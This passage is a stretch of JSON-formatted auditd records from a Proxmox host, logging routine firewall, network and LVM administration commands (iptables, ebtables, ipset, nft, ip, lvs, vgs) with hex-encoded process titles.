name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.594:61509): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965935245,"@rawstring":"node=pve type=PATH msg=audit(1781965935.245:67745): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.587:61508): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965935245,"@rawstring":"node=pve type=PATH msg=audit(1781965935.245:67745): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.823:61507): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935238,"@rawstring":"node=pve type=PATH msg=audit(1781965935.238:67744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.823:61506): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935238,"@rawstring":"node=pve type=PATH msg=audit(1781965935.238:67744): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.823:61505): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935231,"@rawstring":"node=pve type=PATH msg=audit(1781965935.231:67743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.812:61504): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935231,"@rawstring":"node=pve type=PATH msg=audit(1781965935.231:67743): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.812:61503): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935223,"@rawstring":"node=pve type=PATH msg=audit(1781965935.223:67742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.812:61502): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935223,"@rawstring":"node=pve type=PATH msg=audit(1781965935.223:67742): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.420:61501): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965935214,"@rawstring":"node=pve type=PATH msg=audit(1781965935.214:67741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964554.383:61500): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965935214,"@rawstring":"node=pve type=PATH msg=audit(1781965935.214:67741): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.806:61499): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935208,"@rawstring":"node=pve type=PATH msg=audit(1781965935.208:67739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.806:61498): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935208,"@rawstring":"node=pve type=PATH msg=audit(1781965935.208:67739): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.806:61497): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935202,"@rawstring":"node=pve type=PATH msg=audit(1781965935.202:67738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.789:61496): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935202,"@rawstring":"node=pve type=PATH msg=audit(1781965935.202:67738): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.789:61495): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935196,"@rawstring":"node=pve type=PATH msg=audit(1781965935.196:67737): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964549.789:61494): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935196,"@rawstring":"node=pve type=PATH msg=audit(1781965935.196:67737): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.577:61493): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965935189,"@rawstring":"node=pve type=PATH msg=audit(1781965935.189:67736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.574:61492): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965935189,"@rawstring":"node=pve type=PATH msg=audit(1781965935.189:67736): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.573:61491): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935183,"@rawstring":"node=pve type=PATH msg=audit(1781965935.183:67735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.573:61490): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935183,"@rawstring":"node=pve type=PATH msg=audit(1781965935.183:67735): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.569:61489): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935178,"@rawstring":"node=pve type=PATH msg=audit(1781965935.178:67734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.563:61488): proctitle=\"ip6tables-save\""} {"@timestamp":1781965935178,"@rawstring":"node=pve type=PATH msg=audit(1781965935.178:67734): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545557,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.557:61487): proctitle=\"iptables-save\""} {"@timestamp":1781965935171,"@rawstring":"node=pve type=PATH msg=audit(1781965935.171:67733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.551:61486): proctitle=\"ip6tables-save\""} {"@timestamp":1781965935171,"@rawstring":"node=pve type=PATH msg=audit(1781965935.171:67733): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.545:61485): proctitle=\"iptables-save\""} {"@timestamp":1781965935164,"@rawstring":"node=pve type=PATH msg=audit(1781965935.164:67732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.542:61484): proctitle=\"ebtables-restore\""} {"@timestamp":1781965935164,"@rawstring":"node=pve type=PATH msg=audit(1781965935.164:67732): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.540:61483): proctitle=\"ebtables-restore\""} {"@timestamp":1781965935160,"@rawstring":"node=pve type=PATH msg=audit(1781965935.160:67731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.535:61482): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965935160,"@rawstring":"node=pve type=PATH msg=audit(1781965935.160:67731): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.530:61481): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965935157,"@rawstring":"node=pve type=PATH msg=audit(1781965935.157:67730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.525:61480): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965935157,"@rawstring":"node=pve type=PATH msg=audit(1781965935.157:67730): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.520:61479): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965935156,"@rawstring":"node=pve type=PATH msg=audit(1781965935.156:67729): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.515:61478): proctitle=697073657400726573746F7265"} {"@timestamp":1781965935156,"@rawstring":"node=pve type=PATH msg=audit(1781965935.156:67729): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.509:61477): proctitle=\"ip6tables-save\""} {"@timestamp":1781965935156,"@rawstring":"node=pve type=PATH msg=audit(1781965935.156:67728): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.503:61476): proctitle=\"iptables-save\""} {"@timestamp":1781965935151,"@rawstring":"node=pve type=PATH msg=audit(1781965935.151:67727): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.499:61475): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965935151,"@rawstring":"node=pve type=PATH msg=audit(1781965935.151:67727): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.496:61474): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965935151,"@rawstring":"node=pve type=PATH msg=audit(1781965935.151:67727): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.494:61473): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935143,"@rawstring":"node=pve type=PATH msg=audit(1781965935.143:67726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.494:61472): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935143,"@rawstring":"node=pve type=PATH msg=audit(1781965935.143:67726): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.490:61471): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935136,"@rawstring":"node=pve type=PATH msg=audit(1781965935.136:67725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.483:61470): proctitle=\"ip6tables-save\""} {"@timestamp":1781965935136,"@rawstring":"node=pve type=PATH msg=audit(1781965935.136:67725): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.476:61469): proctitle=\"iptables-save\""} {"@timestamp":1781965935130,"@rawstring":"node=pve type=PATH msg=audit(1781965935.130:67724): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545470,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.470:61468): proctitle=69707365740073617665"} {"@timestamp":1781965935130,"@rawstring":"node=pve type=PATH msg=audit(1781965935.130:67724): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.463:61467): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965935121,"@rawstring":"node=pve type=PATH msg=audit(1781965935.121:67723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964545.456:61466): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965935121,"@rawstring":"node=pve type=PATH msg=audit(1781965935.121:67723): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.778:61465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935109,"@rawstring":"node=pve type=PATH msg=audit(1781965935.109:67722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.778:61464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965935109,"@rawstring":"node=pve type=PATH msg=audit(1781965935.109:67722): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.778:61463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PATH msg=audit(1781965934.829:67721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.766:61462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PATH msg=audit(1781965934.829:67721): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.766:61461): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PATH msg=audit(1781965934.829:67720): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.766:61460): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PATH msg=audit(1781965934.829:67719): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.317:61459): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PATH msg=audit(1781965934.824:67718): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964544.291:61458): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PATH msg=audit(1781965934.824:67718): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.761:61457): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PATH msg=audit(1781965934.824:67717): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.761:61456): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PATH msg=audit(1781965934.824:67716): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.761:61455): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934364,"@rawstring":"node=pve type=PATH msg=audit(1781965934.364:67715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.751:61454): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934364,"@rawstring":"node=pve type=PATH msg=audit(1781965934.364:67715): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.751:61453): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934334,"@rawstring":"node=pve type=PATH msg=audit(1781965934.334:67714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964539.751:61452): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965934334,"@rawstring":"node=pve type=PATH msg=audit(1781965934.334:67714): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 